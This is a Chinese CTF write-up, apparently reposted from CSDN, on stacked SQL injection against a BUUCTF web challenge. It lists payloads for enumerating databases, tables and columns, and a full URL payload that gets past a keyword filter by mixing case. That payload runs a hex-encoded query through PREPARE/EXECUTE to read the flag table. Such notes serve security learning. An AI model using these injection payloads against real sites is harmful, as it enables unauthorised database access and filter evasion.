然后就是今天学的新东西了,堆叠注入。

1';show databases; #

1';show tables; # 发现两个表1919810931114514、words

依次查询两张表的字段

1'; show columns from 表名; #

不过有点问题,只有words有回显。(翻博客发现数字串为表名的表操作时要加反引号,加上之后发现的确有flag字段)

大佬wp展示了一手存储过程绕过

payload:

http://web16.buuoj.cn/?inject=1%27;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare%20execsql%20from%20@a;execute%20execsql;#
使用了大小写绕过strstr($inject, "set") && strstr($inject, "prepare")
去掉URL编码后?inject=1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
 

PREPARE语句准备好一条SQL语句,并分配给这条SQL语句一个名字供之后调用。准备好的SQL语句通过EXECUTE命令执行,通过DEALLOCATE PREPARE命令释放掉。

@a变量的16进制值转换一下,看看什么意思


————————————————
版权声明:本文为CSDN博主「wuerror」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/weixin_40871137/article/details/94349532

相关文章:

  • 2021-08-11
  • 2022-01-19
  • 2022-12-23
  • 2021-09-07
  • 2021-07-10
猜你喜欢
  • 2021-10-01
  • 2021-06-03
  • 2021-12-02
  • 2021-10-03
  • 2022-12-23
  • 2021-06-13
  • 2021-11-22
相关资源
相似解决方案